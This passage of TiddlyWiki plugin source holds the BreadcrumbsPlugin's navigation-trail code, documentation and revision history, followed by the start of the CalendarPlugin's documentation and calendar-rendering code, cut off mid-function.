!!!!!Revisions
<<<
2011.02.16 2.1.4 in refresh(), use 'inline' instead of 'block' style (avoids unwanted linebreak).  In previousTiddler(), allow handling even if not in a tiddler so that back button can be placed in ~MainMenu or ~SidebarOptions.
| Please see [[BreadcrumbsPluginInfo]] for previous revision details |
2006.02.01 1.0.0 initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.BreadcrumbsPlugin= {major: 2, minor: 1, revision: 4, date: new Date(2011,2,16)};

var defaults={
	chkShowBreadcrumbs:		true,
	chkReorderBreadcrumbs:		true,
	chkCreateDefaultBreadcrumbs:	true,
	chkShowStartupBreadcrumbs:	false,
	chkBreadcrumbsReverse:		false,
	chkBreadcrumbsLimit:		false,
	txtBreadcrumbsLimit:		5,
	chkBreadcrumbsLimitOpenTiddlers:false,
	txtBreadcrumbsLimitOpenTiddlers:3,
	chkBreadcrumbsHideHomeLink:	false,
	chkBreadcrumbsSave:		false,
	txtBreadcrumbsHomeSeparator:	' | ',
	txtBreadcrumbsCrumbSeparator:	' > '
};
for (var id in defaults) if (config.options[id]===undefined)
	config.options[id]=defaults[id];

config.macros.breadcrumbs =  {
	crumbs: [], // the list of current breadcrumbs
	askMsg: "Save current breadcrumbs before clearing?\n"
		+"Press OK to save, or CANCEL to continue without saving.",
	saveMsg: 'Enter the name of a tiddler in which to save the current breadcrumbs',
	saveTitle: 'SavedBreadcrumbs',
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		var area=createTiddlyElement(place,"span",null,"breadCrumbs",null);
		area.setAttribute("homeSep",params[0]||config.options.txtBreadcrumbsHomeSeparator);
		area.setAttribute("crumbSep",params[1]||config.options.txtBreadcrumbsCrumbSeparator);
		this.render(area);
	},
	add: function (title) {
		var thisCrumb = title;
		var ind = this.crumbs.indexOf(thisCrumb);
		if(ind === -1)
			this.crumbs.push(thisCrumb);
		else if (config.options.chkReorderBreadcrumbs)
			this.crumbs.push(this.crumbs.splice(ind,1)[0]); // reorder crumbs
		else
			this.crumbs=this.crumbs.slice(0,ind+1); // trim crumbs
		if (config.options.chkBreadcrumbsLimitOpenTiddlers)
			this.limitOpenTiddlers();
		this.refresh();
		return false;
	},
	getAreas: function() {
		var crumbAreas=[];
		// find all DIVs with classname=="breadCrumbs"
		var all=document.getElementsByTagName("*");
		for (var i=0; i<all.length; i++)
			try{ if (hasClass(all[i],"breadCrumbs")) crumbAreas.push(all[i]); } catch(e) {;}
		// or, find single DIV w/fixed ID (backward compatibility)
		var byID=document.getElementById("breadCrumbs")
		if (byID && !hasClass(byID,"breadCrumbs")) crumbAreas.push(byID);
		if (!crumbAreas.length && config.options.chkCreateDefaultBreadcrumbs) {
			// no crumbs display... create one
			var defaultArea = createTiddlyElement(null,"span",null,"breadCrumbs",null);
		 	defaultArea.style.display= "none";
			var targetArea= document.getElementById("tiddlerDisplay");
		 	targetArea.parentNode.insertBefore(defaultArea,targetArea);
			crumbAreas.push(defaultArea);
		}
		return crumbAreas;
	},
	refresh: function() {
		var crumbAreas=this.getAreas();
		for (var i=0; i<crumbAreas.length; i++) {
			crumbAreas[i].style.display = config.options.chkShowBreadcrumbs?"inline":"none";
			removeChildren(crumbAreas[i]);
			this.render(crumbAreas[i]);
		}
	},
	render: function(here) {
		var co=config.options; var out=""
		if (!co.chkBreadcrumbsHideHomeLink) {
			createTiddlyButton(here,"Home",null,this.home,"tiddlyLink tiddlyLinkExisting");
			out+=here.getAttribute("homeSep")||config.options.txtBreadcrumbsHomeSeparator;
		}
		for (c=0; c<this.crumbs.length; c++) // remove non-existing tiddlers from crumbs
			if (!store.tiddlerExists(this.crumbs[c]) && !store.isShadowTiddler(this.crumbs[c]))
				this.crumbs.splice(c,1);
		var count=this.crumbs.length;
		if (co.chkBreadcrumbsLimit && co.txtBreadcrumbsLimit<count) count=co.txtBreadcrumbsLimit;
		var list=[];
		for (c=this.crumbs.length-count; c<this.crumbs.length; c++) list.push('[['+this.crumbs[c]+']]');
		if (co.chkBreadcrumbsReverse) list.reverse();
		out+=list.join(here.getAttribute("crumbSep")||config.options.txtBreadcrumbsCrumbSeparator);
		wikify(out,here);
	},
	home: function() {
		var cmb=config.macros.breadcrumbs;
		if (config.options.chkBreadcrumbsSave && confirm(cmb.askMsg)) cmb.saveCrumbs();
		story.closeAllTiddlers(); restart();
		cmb.crumbs = []; var crumbAreas=cmb.getAreas();
		for (var i=0; i<crumbAreas.length; i++) crumbAreas[i].style.display = "none";
		return false;
	},
	saveCrumbs: function() {
		var tid=prompt(this.saveMsg,this.saveTitle); if (!tid||!tid.length) return; // cancelled by user
		var t=store.getTiddler(tid);
		if(t && !confirm(config.messages.overwriteWarning.format([tid]))) return;
		var who=config.options.txtUserName;
		var when=new Date();
		var text='[['+this.crumbs.join(']]\n[[')+']]';
		var tags=t?t.tags:[]; tags.pushUnique('story');
		var fields=t?t.fields:{};
		store.saveTiddler(tid,tid,text,who,when,tags,fields);
		story.displayTiddler(null,tid);
		story.refreshTiddler(tid,null,true);
		displayMessage(tid+' has been '+(t?'updated':'created'));
	},
	limitOpenTiddlers: function() {
		var limit=config.options.txtBreadcrumbsLimitOpenTiddlers; if (limit<1) limit=1;
		for (c=this.crumbs.length-1; c>=0; c--) {
			var tid=this.crumbs[c];
			var elem=story.getTiddler(tid);
			if (elem) { // tiddler is displayed
				if (limit <=0) { // display limit has been reached
					if (elem.getAttribute("dirty")=="true") { // tiddler is being edited
						var msg= "'"+tid+"' is currently being edited.\n\n"
							+"Press OK to save and close this tiddler\n"
							+"or press Cancel to leave it opened";
						if (confirm(msg)) {
							story.saveTiddler(tid);
							story.closeTiddler(tid);
						}
					}
					else story.closeTiddler(this.crumbs[c]);
				}
				limit--;
			}
		}
	}
};
//}}}
// // PreviousTiddler ('back') command and macro
//{{{
config.commands.previousTiddler = {
	text: 'back',
	tooltip: 'view the previous tiddler',
	handler: function(event,src,title) {
		var crumbs=config.macros.breadcrumbs.crumbs;
		if (crumbs.length<2) config.macros.breadcrumbs.home();
		else story.displayTiddler(story.findContainingTiddler(src),crumbs[crumbs.length-2]);
		return false;
	}
};
config.macros.previousTiddler= {
	label: 'back',
	prompt: 'view the previous tiddler',
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		var label=params.shift(); if (!label) label=this.label;
		var prompt=params.shift(); if (!prompt) prompt=this.prompt;
		createTiddlyButton(place,label,prompt,function(ev){
			return config.commands.previousTiddler.handler(ev,this)
		});
	}
}
//}}}
// // HIJACKS
//{{{
// update crumbs when a tiddler is displayed
if (Story.prototype.breadCrumbs_coreDisplayTiddler==undefined)
	Story.prototype.breadCrumbs_coreDisplayTiddler=Story.prototype.displayTiddler;
Story.prototype.displayTiddler = function(srcElement,tiddler) {
	var title=(tiddler instanceof Tiddler)?tiddler.title:tiddler;
	this.breadCrumbs_coreDisplayTiddler.apply(this,arguments);
	if (!startingUp || config.options.chkShowStartupBreadcrumbs)
		config.macros.breadcrumbs.add(title);
}

// update crumbs when a tiddler is deleted
if (TiddlyWiki.prototype.breadCrumbs_coreRemoveTiddler==undefined)
	TiddlyWiki.prototype.breadCrumbs_coreRemoveTiddler=TiddlyWiki.prototype.removeTiddler;
TiddlyWiki.prototype.removeTiddler= function() {
	this.breadCrumbs_coreRemoveTiddler.apply(this,arguments);
	config.macros.breadcrumbs.refresh();
}
//}}}
/***
|Name|BreadcrumbsPluginInfo|
|Author|Eric Shulman|
|Source|http://www.TiddlyTools.com/#BreadcrumbsPlugin|
|Documentation|http://www.TiddlyTools.com/#BreadcrumbsPluginInfo|
|Version|2.1.4|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|Documentation for BreadcrumbsPlugin|
This plugin provides a list of links to all tiddlers opened during the session, creating a "trail of breadcrumbs" from one tiddler to the next, allowing you to quickly navigate to any previously viewed tiddler, or select 'home' to reset the display to the initial set of tiddlers that were open at the start of the session (i.e., when the document was loaded into the browser).
!!!!!Usage
<<<
{{{
<<breadcrumbs homeSeparator crumbSeparator>>
}}}
By default, the breadcrumbs are displayed as a continuous, //horizontal// word-wrapped line of text, using default character sequences for ''homeSeparator'' (" | ") and ''crumbSeparator'' (" > ").  The //optional// ''homeSeparator'' and ''crumbSeparator'' macro parameters allow you to specify alternative separators.  For example, to display the breadcrumbs //vertically// (in a stack, rather than a row), set the separator values to use {{{[[<br>]]}}}... and, to display a horizontal line as the home separator, use {{{[[<html><hr></html>]]}}}.
{{{
<<previousTiddler>>
}}}
This macro embeds a 'back' button in your content.  Clicking the button opens/scrolls to the most recent previously viewed tiddler.  You can also add the {{{previousTiddler}}} keyword to the ~ViewToolbar slice definition in ToolbarCommands.  This adds a 'back' button directly to the toolbar of each tiddler that is displayed.
<<<
!!!!!Examples:
<<<
{{{
<<breadcrumbs>>
}}}
<<breadcrumbs>>
{{{
<<breadcrumbs [[<html><hr></html>]] [[<br>]]>>
}}}
<<breadcrumbs [[<html><hr></html>]] [[<br>]]>>
<<<
!!!!!Customization
<<<
Using CSS and a few of the plugin configuration options (see below), you can make the breadcrumbs display resemble browser tabs by adding the following to your [[StyleSheet]]:
{{{
.breadCrumbs { border-bottom:1px solid; }
.breadCrumbs a {
	border: 1px solid; padding: 0px 1em;
	-moz-border-radius-topleft:.5em; -moz-border-radius-topright:.5em;
	-webkit-border-top-left-radius:.5em; -webkit-border-top-right-radius:.5em;
}
}}}
and this in [[ConfigTweaks]] (tagged with systemConfig, of course):
{{{
config.options.chkShowStartupBreadcrumbs=true;
config.options.chkBreadcrumbsLimitOpenTiddlers=true;
config.options.txtBreadcrumbsLimitOpenTiddlers=1;
config.macros.breadcrumbs.homeSeparator=" ";
config.macros.breadcrumbs.crumbSeparator=" ";
}}}
<<<
!!!!!Configuration
<<<
__''display placement:''__
<<option chkCreateDefaultBreadcrumbs>> automatically create breadcrumbs display (if needed)
{{{<<option chkCreateDefaultBreadcrumbs>>}}}
>By default, the plugin automatically creates the "breadCrumbs" display element at the top of the story column, just above the tiddlerDisplay area.  To manually control the display and placement of the breadcrumbs display, you can define a DIV with class="breadCrumbs" in a custom [[PageTemplate]] or embed the {{{<<breadcrumbs>>}}} macro in specific tiddler content.
>
>For example, to add the breadcrumbs below the mainMenu, change this:
{{{
<div id='mainMenu' refresh='content' tiddler='MainMenu'></div>
}}}
>to:
{{{
<div id='mainMenu'>
	<div refresh='content' tiddler='MainMenu'></div>
	<div id='breadCrumbs' class='breadCrumbs'></div>
</div>
}}}
>You can also block automatic creation of the breadcrumbs display by setting
{{{
config.options.chkCreateDefaultBreadcrumbs=false;
}}}
>in a [[CookieJar]]/[[ConfigTweaks]] plugin tiddler.

__''other settings:''__
<<option chkShowBreadcrumbs>> show/hide breadcrumbs display
{{{<<option chkShowBreadcrumbs>>}}}
>This checkbox toggles the visibility of the breadcrumbs display.  However, the display is not updated until the next crumb is added (or a previous crumb is clicked on).  For immediate effect, you can use [[ToggleBreadcrumbs]] to synchronize the checkbox setting and the breadcrumbs display.
<<option chkReorderBreadcrumbs>> re-order breadcrumbs when visiting a previously viewed tiddler
{{{<<option chkReorderBreadcrumbs>>}}}
>When visiting a previously viewed tiddler, the title of the most-recently displayed tiddler is simply moved to the end of the list and individual breadcrumbs are not removed from the list unless the underlying tiddler is deleted.  When ''re-ordering'' is disabled, the breadcrumbs list is ''trimmed'' so that all crumbs following that tiddler are removed from the list.
<<option chkBreadcrumbsHideHomeLink>> omit 'Home' link from breadcrumbs display
{{{<<option chkBreadcrumbsHideHomeLink>>}}}
>Enabling this option suppresses the automatic display of the "Home" link (and home separator).  To manually add the home link elsewhere in your document, use the following HTML:
{{{
<html><a href="javascript:;" onclick="config.macros.breadcrumbs.home()">home</a></html>
}}}
<<option chkBreadcrumbsSave>> prompt to save breadcrumbs when 'Home' link is pressed
{{{<<option chkBreadcrumbsSave>>}}}
>Whenever you press the 'home' button, you can be prompted to save the current breadcrumbs in a tiddler as a space-separated list of tiddler links (default title="SavedBreadcrumbs").  
<<option chkShowStartupBreadcrumbs>> show breadcrumbs for 'startup' tiddlers
{{{<<option chkShowStartupBreadcrumbs>>}}}
>Breadcrumbs are usually only added for tiddlers that are opened after the document has been loaded, and not for tiddlers displayed during initial startup (e.g., [[DefaultTiddlers]]).  Enabling this option displays breadcrumbs for all viewed tiddlers, regardless of when they are opened.
<<option chkBreadcrumbsReverse>> show breadcrumbs in reverse order
{{{<<option chkBreadcrumbsReverse>>}}}
>As tiddlers are displayed, breadcrumbs are usually added to the //end// of the list.  Enabling this option displays breadcrumbs in reverse order, so that the most recently visited tiddlers are listed first.
<<option chkBreadcrumbsLimit>> limit breadcrumbs display to {{twochar{<<option txtBreadcrumbsLimit>>}}} items
{{{<<option chkBreadcrumbsLimit>>}}} and {{{<<option txtBreadcrumbsLimit>>}}}
>By default, breadcrumbs are displayed for all tiddlers that have been visited (unless the list is being 'trimmed' by disabling the chkReorderBreadcrumbs option above).  Enabling this option limits the display of the list to a maximum specified number of breadcrumbs.
<<option chkBreadcrumbsLimitOpenTiddlers>> limit open tiddlers to {{twochar{<<option txtBreadcrumbsLimitOpenTiddlers>>}}} items
{{{<<option chkBreadcrumbsLimitOpenTiddlers>>}}} and {{{<<option txtBreadcrumbsLimitOpenTiddlers>>}}}
>By default, tiddlers remain open (e.g., displayed in the story column) until you explicitly close them.  When this option is enabled, only the most recently opened tiddlers will remain open: ''any tiddlers in excess of the specified limit are automatically closed.''  //Note: for 'data safety', if a tiddler is being edited, you will be asked for permission to "save-and-close" that tiddler or leave it open (even if that would exceed the specified limit).//
<<<
!!!!!Revisions
<<<
2011.02.16 2.1.4 in refresh(), use 'inline' instead of 'block' style (avoids unwanted linebreak).  In previousTiddler(), allow handling even if not in a tiddler so that back button can be placed in ~MainMenu or ~SidebarOptions.
2010.11.30 2.1.3 use story.getTiddler()
2009.10.19 2.1.2 code reduction
2009.03.22 2.1.0 added 'save breadcrumbs to tiddler' feature
2008.05.01 2.0.0 added 'limit open tiddlers' feature (with safety check for tiddler in edit mode)
2008.04.06 1.9.1 corrected 'limit' logic so that //last// N crumbs are shown instead of //first// N crumbs.  Also, added chkBreadcrumbsHideHomeLink
2008.04.04 1.9.0 added chkBreadcrumbsReverse and chk/txtBreadcrumbsLimit
2008.03.29 1.8.4 in displayTiddler(), get title from tiddler object (if needed).  Fixes errors caused when calling function passes a tiddler *object* instead of a tiddler *title*
2008.03.24 1.8.3 include shadow tiddlers in breadcrumbs list.  Also changed settings so that "reordering" breadcrumbs is the default, instead of "trimming" the list
2007.12.04 [*.*.*] update for TW2.3.0: replaced deprecated core functions, regexps, and macros
2007.10.26 1.8.2 documentation cleanup
2007.10.18 1.8.1 in GetAreas(), use try/catch to avoid "Bad NPObject as private data" fatal error caused when embedded QuickTime player element is accessed by hasClass() function.
2007.10.02 1.8.0 major documentation and code cleanup.  Moved config.breadCrumbs.* to config.macros.breadcrumbs.* to consolidate objects.  Also, fixed homeSeparator and crumbSeparator default handling.
2007.10.02 1.7.0 added config.options.chkShowStartupBreadcrumbs option
2007.09.16 1.6.1 in getAreas(), removed errant use of 'place' (was causing fatal error when creating default breadcrumbs display element).  Also, added chkCreateDefaultBreadcrumbs configuration setting to enable/disable automatic creation of a default breadcrumbs display.
2007.09.16 1.6.0 re-wrote refresh() to enable multiple display instances, by finding elements with "breadCrumbs" classname.  Fallback to fixed ID (="breadCrumbs") is still used for backward-compatibility.  move rendering code from refresh() to separate render() function, and added definition for {{{<<breadCrumbs>>}}} macro to support embedding breadcrumbs displays in tiddler content.
2007.09.15 [1.5.9.1] updated documentation
2007.09.15 1.5.9 defined homeSeparator (" | ") and crumbSeparator (" > ") as object properties so that they can be redefined as desired for different layouts (e.g., using 'newline' for the crumbSeparator will arrange crumbs in a column rather than a row.
2007.06.21 [1.5.8.1] in home(), return false to prevent IE from attempting to navigate away...
2007.05.26 1.5.8 added support for {{{<<option chkReorderBreadcrumbs>>}}} to toggle trim vs. re-order behavior when visiting previously viewed tiddlers
2007.05.25 1.5.7 added support for {{{<<option chkShowBreadcrumbs>>}}} to toggle //display// of breadcrumbs
2007.05.24 1.5.6 in refresh(), remove non-existing tiddler titles from crumb list.  Also, hijack removeTiddler() so crumbs can be updated after tiddler is deleted.
2007.04.11 1.5.5 added optional params to previousTiddler macro handler() to allow alternative label and tooltip text (instead of default "back")
2007.03.02 1.5.4 in refresh(), for TW2.2, look for "storyDisplay" instead of "tiddlerDisplay" but keep fallback to "tiddlerDisplay" for TW2.1 or earlier
2007.02.24 1.5.3 changed from hijack of onClickTiddlerLink to hijack of displayTiddler() so that ALL displayed tiddlers are recorded in the crumbs, including programmatically displayed tiddlers opened by macros, scripts, etc., (such as [[GotoPlugin]], among many others) in addition to those opened by clicks on links.
2007.02.24 [1.5.2.0] eliminated global space clutter by moving function and data declarations so they are contained inside config.breadCrumbs object.
2007.02.06 1.5.1 added "previousTiddler" macro (for use in sidebar)
2007.02.05 1.5.0 added "previousTiddler" toolbar command (aka, "back")
2006.08.04 [1.4.0.1] change spaces to tabs
2006.08.04 1.4.0 modified from 1.4.0 distro: in refresh(), set {{{display:none/block}}} instead of {{{visibility:hidden/visible}}}.  In home(), check for valid crumbArea before setting style.
2006.08.02 1.4.0 Fixed bug, the redefined onClickTiddlerLink_orig_breadCrumbs works incorrectly on IE
2006.07.20 1.3.0 Runs compatibly with TW 2.1.0 (rev #403+)
2006.02.07 1.2.0 change global array breadCrumbs to config.breadCrumbs by Eric's suggestion
2006.02.04 1.1.0 JSLint checked
2006.02.01 1.0.0 initial release
<<<
/***
|Name|CalendarPlugin|
|Source|http://www.TiddlyTools.com/#CalendarPlugin|
|Version|1.5.1a|
|Author|Eric Shulman|
|Original Author|SteveRumsby|
|License|unknown|
|~CoreVersion|2.1|
|Type|plugin|
|Description|display monthly and yearly calendars (colors tweaked for dark palette)|
NOTE: For //enhanced// date popup display, optionally install:
*[[DatePlugin]]
*[[ReminderMacros|http://remindermacros.tiddlyspot.com/]]
!!!Usage:
<<<
|{{{<<calendar>>}}}|full-year calendar for the current year|
|{{{<<calendar year>>}}}|full-year calendar for the specified year|
|{{{<<calendar year month>>}}}|one month calendar for the specified month and year|
|{{{<<calendar thismonth>>}}}|one month calendar for the current month|
|{{{<<calendar lastmonth>>}}}|one month calendar for last month|
|{{{<<calendar nextmonth>>}}}|one month calendar for next month|
|{{{<<calendar +n>>}}}<br>{{{<<calendar -n>>}}}|one month calendar for a month +/- 'n' months from now|
<<<
!!!Configuration:
<<<
|''First day of week:''<br>{{{config.options.txtCalFirstDay}}}|<<option txtCalFirstDay>>|(Monday = 0, Sunday = 6)|
|''First day of weekend:''<br>{{{config.options.txtCalStartOfWeekend}}}|<<option txtCalStartOfWeekend>>|(Monday = 0, Sunday = 6)|

<<option chkDisplayWeekNumbers>> Display week numbers //(note: Monday will be used as the start of the week)//
|''Week number display format:''<br>{{{config.options.txtWeekNumberDisplayFormat }}}|<<option txtWeekNumberDisplayFormat >>|
|''Week number link format:''<br>{{{config.options.txtWeekNumberLinkFormat }}}|<<option txtWeekNumberLinkFormat >>|
<<<
!!!Revisions
<<<
2011.01.04 1.5.1 corrected parameter handling for {{{<<calendar year>>}}} to show entire year instead of just first month.  In createCalendarMonthHeader(), fixed next/previous month year calculation (use parseInt() to convert to numeric value).  Code reduction (setting options).
2009.04.31 1.5.0 rewrote onClickCalendarDate() (popup handler) and added config.options.txtCalendarReminderTags.  Partial code reduction/cleanup.  Assigned true version number (1.5.0)
2008.09.10 added '+n' (and '-n') param to permit display of relative months (e.g., '+6' means 'six months from now', '-3' means 'three months ago'.  Based on suggestion from Jean.
2008.06.17 added support for config.macros.calendar.todaybg
2008.02.27 in handler(), DON'T set hard-coded default date format, so that *customized* value (pre-defined in config.macros.calendar.journalDateFmt is used.
2008.02.17 in createCalendarYear(), fix next/previous year calculation (use parseInt() to convert to numeric value).  Also, use journalDateFmt for date linking when NOT using [[DatePlugin]].
2008.02.16 in createCalendarDay(), week numbers now created as TiddlyLinks, allowing quick creation/navigation to 'weekly' journals (based on request from Kashgarinn)
2008.01.08 in createCalendarMonthHeader(), 'month year' heading is now created as TiddlyLink, allowing quick creation/navigation to 'month-at-a-time' journals
2007.11.30 added 'return false' to onclick handlers (prevent IE from opening blank pages)
2006.08.23 added handling for weeknumbers (code supplied by Martin Budden (see 'wn**' comment marks).  Also, incorporated updated by Jeremy Sheeley to add caching for reminders (see [[ReminderMacros]], if installed)
2005.10.30 in config.macros.calendar.handler(), use 'tbody' element for IE compatibility.  Also, fix year calculation for IE's getYear() function (which returns '2005' instead of '105'). Also, in createCalendarDays(), use showDate() function (see [[DatePlugin]], if installed) to render autostyled date with linked popup.  Updated calendar stylesheet definition: use .calendar class-specific selectors, add text centering and margin settings
2006.05.29 added journalDateFmt handling
<<<
!!!Code
***/
//{{{
version.extensions.CalendarPlugin= { major: 1, minor: 5, revision: 1, date: new Date(2011,1,4)};

// COOKIE OPTIONS
var opts={
	txtCalFirstDay:	0,
	txtCalStartOfWeekend: 5,
	chkDisplayWeekNumbers: false,
	txtCalFirstDay:	0,
	txtWeekNumberDisplayFormat: 'w0WW',
	txtWeekNumberLinkFormat: 'YYYY-w0WW',
	txtCalendarReminderTags: 'reminder'
};
for (var id in opts) if (config.options[id]===undefined) config.options[id]=opts[id];

// INTERNAL CONFIGURATION
config.macros.calendar = {
	monthnames:['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'],
	daynames:['M','T','W','T','F','S','S'],
	todaybg:'#070',
	weekendbg:'#333',
	monthbg:'#111',
	holidaybg:'#093',
	journalDateFmt:'YYYY.0MM.0DD_0hh:0mm',
	monthdays:[31,28,31,30,31,30,31,31,30,31,30,31],
	holidays:[ ] // for customization see [[CalendarPluginConfig]]
};
//}}}
//{{{
function calendarIsHoliday(date)
{
	var longHoliday = date.formatString('0DD/0MM/YYYY');
	var shortHoliday = date.formatString('0DD/0MM');
	for(var i = 0; i < config.macros.calendar.holidays.length; i++) {
		if(   config.macros.calendar.holidays[i]==longHoliday
		   || config.macros.calendar.holidays[i]==shortHoliday)
			return true;
	}
	return false;
}
//}}}
//{{{
config.macros.calendar.handler = function(place,macroName,params) {
	var calendar = createTiddlyElement(place, 'table', null, 'calendar', null);
	var tbody = createTiddlyElement(calendar, 'tbody');
	var today = new Date();
	var year = today.getYear();
	if (year<1900) year+=1900;

 	// get journal format from SideBarOptions (ELS 5/29/06 - suggested by MartinBudden)
	var text = store.getTiddlerText('SideBarOptions');
	var re = new RegExp('<<(?:newJournal)([^>]*)>>','mg'); var fm = re.exec(text);
	if (fm && fm[1]!=null) { var pa=fm[1].readMacroParams(); if (pa[0]) this.journalDateFmt = pa[0]; }

	var month=-1;
	if (params[0] == 'thismonth') {
		var month=today.getMonth();
	} else if (params[0] == 'lastmonth') {
		var month = today.getMonth()-1; if (month==-1) { month=11; year--; }
	} else if (params[0] == 'nextmonth') {
		var month = today.getMonth()+1; if (month>11) { month=0; year++; }
	} else if (params[0]&&'+-'.indexOf(params[0].substr(0,1))!=-1) {
		var month = today.getMonth()+parseInt(params[0]);
		if (month>11) { year+=Math.floor(month/12); month%=12; };
		if (month<0)  { year+=Math.floor(month/12); month=12+month%12; }
	} else if (params[0]) {
		year = params[0];
		if(params[1]) {
			month=parseInt(params[1])-1;
			if (month>11) month=11; if (month<0) month=0;
		}
	}

	if (month!=-1) {
		cacheReminders(new Date(year, month, 1, 0, 0), 31);
		createCalendarOneMonth(tbody, year, month);
	} else {
		cacheReminders(new Date(year, 0, 1, 0, 0), 366);
		createCalendarYear(tbody, year);
	}
	window.reminderCacheForCalendar = null;
}
//}}}
//{{{
// cache used to store reminders while the calendar is being rendered
// it will be renulled after the calendar is fully rendered.
window.reminderCacheForCalendar = null;
//}}}
//{{{
function cacheReminders(date, leadtime)
{
	if (window.findTiddlersWithReminders == null) return;
	window.reminderCacheForCalendar = {};
	var leadtimeHash = [];
	leadtimeHash [0] = 0;
	leadtimeHash [1] = leadtime;
	var t = findTiddlersWithReminders(date, leadtimeHash, null, 1);
	for(var i = 0; i < t.length; i++) {
		//just tag it in the cache, so that when we're drawing days, we can bold this one.
		window.reminderCacheForCalendar[t[i]['matchedDate']] = 'reminder:' + t[i]['params']['title']; 
	}
}
//}}}
//{{{
function createCalendarOneMonth(calendar, year, mon)
{
	var row = createTiddlyElement(calendar, 'tr');
	createCalendarMonthHeader(calendar, row, config.macros.calendar.monthnames[mon]+' '+year, true, year, mon);
	row = createTiddlyElement(calendar, 'tr');
	createCalendarDayHeader(row, 1);
	createCalendarDayRowsSingle(calendar, year, mon);
}
//}}}
//{{{
function createCalendarMonth(calendar, year, mon)
{
	var row = createTiddlyElement(calendar, 'tr');
	createCalendarMonthHeader(calendar, row, config.macros.calendar.monthnames[mon]+' '+ year, false, year, mon);
	row = createTiddlyElement(calendar, 'tr');
	createCalendarDayHeader(row, 1);
	createCalendarDayRowsSingle(calendar, year, mon);
}
//}}}
//{{{
function createCalendarYear(calendar, year)
{
	var row;
	row = createTiddlyElement(calendar, 'tr');
	var back = createTiddlyElement(row, 'td');
	var backHandler = function() {
		removeChildren(calendar);
		createCalendarYear(calendar, parseInt(year)-1);
		return false; // consume click
	};
	createTiddlyButton(back, '<', 'Previous year', backHandler);
	back.align = 'center';
	var yearHeader = createTiddlyElement(row, 'td', null, 'calendarYear', year);
	yearHeader.align = 'center';
	yearHeader.setAttribute('colSpan',config.options.chkDisplayWeekNumbers?22:19);//wn**
	var fwd = createTiddlyElement(row, 'td');
	var fwdHandler = function() {
		removeChildren(calendar);
		createCalendarYear(calendar, parseInt(year)+1);
		return false; // consume click
	};
	createTiddlyButton(fwd, '>', 'Next year', fwdHandler);
	fwd.align = 'center';
	createCalendarMonthRow(calendar, year, 0);
	createCalendarMonthRow(calendar, year, 3);
	createCalendarMonthRow(calendar, year, 6);
	createCalendarMonthRow(calendar, year, 9);
}
//}}}
//{{{
function createCalendarMonthRow(cal, year, mon)
{
	var row = createTiddlyElement(cal, 'tr');
	createCalendarMonthHeader(cal, row, config.macros.calendar.monthnames[mon], false, year, mon);
	createCalendarMonthHeader(cal, row, config.macros.calendar.monthnames[mon+1], false, year, mon);
	createCalendarMonthHeader(cal, row, config.macros.calendar.monthnames[mon+2], false, year, mon);
	row = createTiddlyElement(cal, 'tr');
	createCalendarDayHeader(row, 3);
	createCalendarDayRows(cal, year, mon);
}
//}}}
//{{{
function createCalendarMonthHeader(cal, row, name, nav, year, mon)
{
	var month;
	if (nav) {
		var back = createTiddlyElement(row, 'td');
		back.align = 'center';
		back.style.background = config.macros.calendar.monthbg;

		var backMonHandler = function() {
			var newyear = year;
			var newmon = mon-1;
			if(newmon == -1) { newmon = 11; newyear = parseInt(newyear)-1;}
			removeChildren(cal);
			cacheReminders(new Date(newyear, newmon , 1, 0, 0), 31);
			createCalendarOneMonth(cal, newyear, newmon);
			return false; // consume click
		};
		createTiddlyButton(back, '<', 'Previous month', backMonHandler);
		month = createTiddlyElement(row, 'td', null, 'calendarMonthname')
		createTiddlyLink(month,name,true);
		month.setAttribute('colSpan', config.options.chkDisplayWeekNumbers?6:5);//wn**
		var fwd = createTiddlyElement(row, 'td');
		fwd.align = 'center';
		fwd.style.background = config.macros.calendar.monthbg; 

		var fwdMonHandler = function() {
			var newyear = year;
			var newmon = mon+1;
			if(newmon == 12) { newmon = 0; newyear = parseInt(newyear)+1;}
			removeChildren(cal);
			cacheReminders(new Date(newyear, newmon , 1, 0, 0), 31);
			createCalendarOneMonth(cal, newyear, newmon);
			return false; // consume click
		};
		createTiddlyButton(fwd, '>', 'Next month', fwdMonHandler);
	} else {
		month = createTiddlyElement(row, 'td', null, 'calendarMonthname', name)
		month.setAttribute('colSpan',config.options.chkDisplayWeekNumbers?8:7);//wn**
	}
	month.align = 'center';
	month.style.background = config.macros.calendar.monthbg;
}
//}}}
//{{{
function createCalendarDayHeader(row, num)
{
	var cell;
	for(var i = 0; i < num; i++) {
		if (config.options.chkDisplayWeekNumbers) createTiddlyElement(row, 'td');//wn**
		for(var j = 0; j < 7; j++) {
			var d = j + (config.options.txtCalFirstDay - 0);
			if(d > 6) d = d - 7;
			cell = createTiddlyElement(row, 'td', null, null, config.macros.calendar.daynames[d]);
			if(d == (config.options.txtCalStartOfWeekend-0) || d == (config.options.txtCalStartOfWeekend-0+1))
				cell.style.background = config.macros.calendar.weekendbg;
		}
	}
}
//}}}
//{{{
function createCalendarDays(row, col, first, max, year, mon) {
	var i;
	if (config.options.chkDisplayWeekNumbers){
		if (first<=max) {
			var ww = new Date(year,mon,first);
			var td=createTiddlyElement(row, 'td');//wn**
			var link=createTiddlyLink(td,ww.formatString(config.options.txtWeekNumberLinkFormat),false);
			link.appendChild(document.createTextNode(
				ww.formatString(config.options.txtWeekNumberDisplayFormat)));
		}
		else createTiddlyElement(row, 'td');//wn**
	}
	for(i = 0; i < col; i++)
		createTiddlyElement(row, 'td');
	var day = first;
	for(i = col; i < 7; i++) {
		var d = i + (config.options.txtCalFirstDay - 0);
		if(d > 6) d = d - 7;
		var daycell = createTiddlyElement(row, 'td');
		var isaWeekend=((d==(config.options.txtCalStartOfWeekend-0)
			|| d==(config.options.txtCalStartOfWeekend-0+1))?true:false);
		if(day > 0 && day <= max) {
			var celldate = new Date(year, mon, day);
			// ELS 10/30/05 - use <<date>> macro's showDate() function to create popup
			// ELS 05/29/06 - use journalDateFmt 
			if (window.showDate) showDate(daycell,celldate,'popup','DD',
				config.macros.calendar.journalDateFmt,true, isaWeekend);
			else {
				if(isaWeekend) daycell.style.background = config.macros.calendar.weekendbg;
				var title = celldate.formatString(config.macros.calendar.journalDateFmt);
				if(calendarIsHoliday(celldate))
					daycell.style.background = config.macros.calendar.holidaybg;
